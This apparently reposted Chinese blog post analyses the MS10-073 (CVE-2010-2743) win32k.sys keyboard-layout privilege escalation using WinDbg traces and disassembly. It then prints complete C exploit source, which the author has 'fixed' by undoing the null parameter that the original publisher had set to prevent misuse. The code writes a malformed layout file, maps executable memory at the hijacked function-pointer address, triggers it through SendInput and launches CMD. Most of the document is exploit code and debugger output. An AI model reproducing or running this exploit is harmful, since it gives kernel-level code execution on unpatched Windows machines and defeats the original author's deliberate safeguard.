第一次载入poc crash在这 eax=00000000 ebx=00000000 ecx=0000006b edx=e16edaac esi=00000244 edi=00000000 eip=8053af99 esp=b264e948 ebp=b264e94c iopl=0 nv up ei pl zr na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246 nt!_wcsicmp+0x24: 8053af99 668b06 mov ax,word ptr [esi] ds:0023:00000244=???? ChildEBP RetAddr Args to Child b264e94c bf89ebfb e16edaac 00000244 00000000 nt!_wcsicmp+0x24 b264e964 bf885192 0000004c 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x22 b264e9f0 bf884c80 81cf5038 0000004c 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be b264ed40 8054261c 0000004c 01ae0160 00000000 win32k!NtUserLoadKeyboardLayoutEx+0x158 b264ed40 7c92e4f4 0000004c 01ae0160 00000000 nt!KiFastCallEntry+0xfc 0012f9d8 0042c59c 0042c80d 0000004c 01ae0160 ntdll!KiFastSystemCallRet WARNING: Frame IP not in any known module. Following frames may be wrong. 0012ffd0 8054c6ed 0012ffc8 81d99020 ffffffff 0x42c59c 00130008 00000000 000000c4 00000000 00000020 nt!ExFreePoolWithTag+0x40d 分析了下crash在这是poc发布者故意这么做的,防止被恶意利用,将NtUserLoadKeyboardLayoutEx的puszKeyboardName参数置0导致的 更改poc,增加puszKeyboardName参数 InitializeUnicodeStr(&uKerbordname,L"A"); 更改poc后重新载入,下NtUserLoadKeyboardLayoutEx .text:BF884C17 test ebx, ebx //ebx就是puszKeyboardName参数 .text:BF884C19 jz short loc_BF884C4E .text:BF884C1B mov eax, _Win32UserProbeAddress .text:BF884C20 cmp ebx, eax //地址要小于_Win32UserProbeAddress .text:BF884C22 jnb short loc_BF884C26 .text:BF884C24 mov eax, ebx .text:BF884C26 .text:BF884C26 loc_BF884C26: ; CODE XREF: NtUserLoadKeyboardLayoutEx(x,x,x,x,x,x,x)+D0j .text:BF884C26 mov ecx, 0B1h .text:BF884C2B mov esi, eax .text:BF884C2D lea edi, [ebp+var_2F4] .text:BF884C33 rep movsd .text:BF884C35 cmp [ebp+var_2F4], 8 //因为puszKeyboardName是unicode_string参数,这里判断unicode_string的max_length必须等于0 unciode_string.length必须小于8 .text:BF884C3C jnb loc_BF884B35 重新构造poc InitializeUnicodeStr(&uKerbordname,L"A"); uKerbordname.MaximumLength=0; 在载入后就可以顺利到达SetGlobalKeyboardTableInfo函数 这个函数会设置gpKbdNlsTbl 变量,这个变量会在xxxKENLSProcs函数中使用,若不设置,就无法触发漏洞 1: kd> kb ChildEBP RetAddr Args to Child f87d9944 bf8b238a e1eec3c8 e1eec3c8 e1014128 win32k!SetGlobalKeyboardTableInfo f87d9958 bf898e3d e1014128 e1eec3c8 e1014128 win32k!ChangeForegroundKeyboardTable+0x11c f87d9978 bf884f02 e1eec3c8 e21f6978 f87d9d10 win32k!xxxSetPKLinThreads+0x37 f87d99f0 bf884c80 81bd5c28 f87d9cd0 08040804 win32k!xxxLoadKeyboardLayoutEx+0x395 f87d9d40 8054261c 000007cc 01ae0160 0012ff4c win32k!NtUserLoadKeyboardLayoutEx+0x158 f87d9d40 7c92e4f4 000007cc 01ae0160 0012ff4c nt!KiFastCallEntry+0xfc ...... ChildEBP RetAddr Args to Child f87d9c88 bf84880e f87d9cc8 00000000 00000000 win32k!xxxKENLSProcs ----->vuln f87d9ca4 bf8c356c f87d9c00 00000000 00000001 win32k!xxxProcessKeyEvent+0x1f9 f87d9ce4 bf8c342c 00000000 00000000 00000000 win32k!xxxInternalKeyEventDirect+0x158 f87d9d0c bf8c32aa 00000001 e17ad798 f87d9d64 win32k!xxxSendInput+0xa2 f87d9d50 8054261c 00000001 0012ff10 0000001c win32k!NtUserSendInput+0xcd 1: kd> p win32k!xxxKENLSProcs+0x52: bf847342 0fb6887dffffff movzx ecx,byte ptr [eax-83h] 1: kd> db eax-83 e20cdf7b 05 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ //POC中的 e20cdf8b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdf9b 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdfab 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdfbb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdfcb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdfdb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ e20cdfeb 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 1: kd> p win32k!xxxKENLSProcs+0x59: bf847349 57 push edi 1: kd> p win32k!xxxKENLSProcs+0x5a: bf84734a 057cffffff add eax,0FFFFFF7Ch 1: kd> p win32k!xxxKENLSProcs+0x5f: bf84734f 50 push eax 1: kd> p win32k!xxxKENLSProcs+0x60: bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] //ecx is tainted 1: kd> r eax=e20cdf7a ebx=00008000 ecx=00000005 edx=00000000 esi=e20cdf7a edi=f87d9cc8 eip=bf847350 esp=f87d9c74 ebp=f87d9c88 iopl=0 nv up ei ng nz ac po cy cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000293 win32k!xxxKENLSProcs+0x60: bf847350 ff148d38af99bf call dword ptr win32k!aNLSVKFProc (bf99af38)[ecx*4] ds:0023:bf99af4c=60636261 1: kd> db 60636261 60636261 90 90 90 90 c2 0c 00 90-90 90 90 90 90 90 90 90 ................ 60636271 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 60636281 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 60636291 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 606362a1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 606362b1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 606362c1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 606362d1 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 1: kd> dd bf99af38 //aNLSVKFProc bf99af38 bf9321b7 bf9325f9 bf93263f ff696867 bf99af48 ff666564 60636261 0000006e 002c006a bf99af58 00000000 01030091 01130090 00000000 bf99af68 01130090 00030091 00000000 01030013 bf99af78 01030091 00000000 02110110 00000412 第6个地址可以在r3下通过VirtualAlloc来进行分配可读可写可执行的内存到这个地方,这个地方填充shellcode 便可以执行任意代码,执行完毕后,通过ret 0c 返回到内核空间 。 完整poc:
// ms10-73.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> #include <stdio.h> #include <ntsecapi.h> #define MAGIC_OFFSET 0x6261 #define InitializeUnicodeStr(p,s) { \ (p)->Length= wcslen(s)*2; \ (p)->MaximumLength = wcslen(s)*2+2; \ (p)->Buffer = s; \ } _declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) { __asm { mov eax, 000011c6h mov edx, 7ffe0300h call dword ptr [edx] retn 1Ch } } unsigned char shellcode[]="\x90\x90\x90\x90\xC2\x0C\x00\x90\x90"; unsigned char fakeDll[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" "\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x94\x01\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00"; int g_cr0; int _tmain(int argc, _TCHAR* argv[]) { UNICODE_STRING uStr; UNICODE_STRING uKerbordname; KEYBDINPUT kb={0}; INPUT vInput={0}; HANDLE hFile; DWORD dwFuckS0ny; HKL hKbd; WCHAR lpPath[MAX_PATH]={0}; WCHAR lpLayoutFile[MAX_PATH]={0}; LPVOID lpShellPtr; printf("\n\nMS10-073/CVE-2010-2743 Exploit\n"); printf("Ruben Santamarta - www.reversemode.com\n\n"); LoadLibraryA("user32.dll"); InitializeUnicodeStr(&uStr,L"pwn3d.dll"); //fix by instruder InitializeUnicodeStr(&uKerbordname,L"A"); uKerbordname.MaximumLength=0; GetTempPathW( MAX_PATH, lpPath ); wsprintf( lpLayoutFile, L"%lSp0wns.boom111", lpPath); hFile = CreateFileW(lpLayoutFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error\n"); exit(0); } WriteFile( hFile, fakeDll, sizeof(fakeDll)-1, &dwFuckS0ny, NULL); printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny); CloseHandle(hFile); hFile = CreateFileW (lpLayoutFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" \n[!!] Error\n"); exit(0); } hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x01AE0160,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// /*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) */ lpShellPtr = VirtualAlloc( (LPVOID)0x60630000, 0xF000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); printf("\n[+] Allocating memory..."); if( !lpShellPtr ) { printf("[!!] Error %x\n",GetLastError()); exit(0); }else{ printf("[ OK ]\n"); } memset( lpShellPtr, 0x90, 0xF000); memcpy( ( void* )( ( ULONG_PTR ) lpShellPtr + MAGIC_OFFSET ), ( const void* )shellcode, sizeof( shellcode ) - 1 ); kb.wVk = 0x0; vInput.type = INPUT_KEYBOARD; vInput.ki = kb; printf("\n[+] Triggering shellcode..."); SendInput( 1, ( LPINPUT ) &vInput, sizeof( INPUT ) ); printf("\n[+] Done\n"); int startshellcode,endshellcode; WinExec("CMD",0); Sleep(1000222); return 0; }//blackbap.org
资料 http://bbs.blackbap.org/thread-1930-1-1.html http://reversemode.com/index.php?option=com_content&task=view&id=71&Itemid=1 http://www.vupen.com/blog/20101018.Stuxnet_Win32k_Windows_Kernel_0Day_Exploit_CVE-2010-2743.php
MS10-073微软Windows内核Win32k.sys键盘布局本地提权漏洞 fix poc
最新推荐文章于 2023-01-03 09:01:42 发布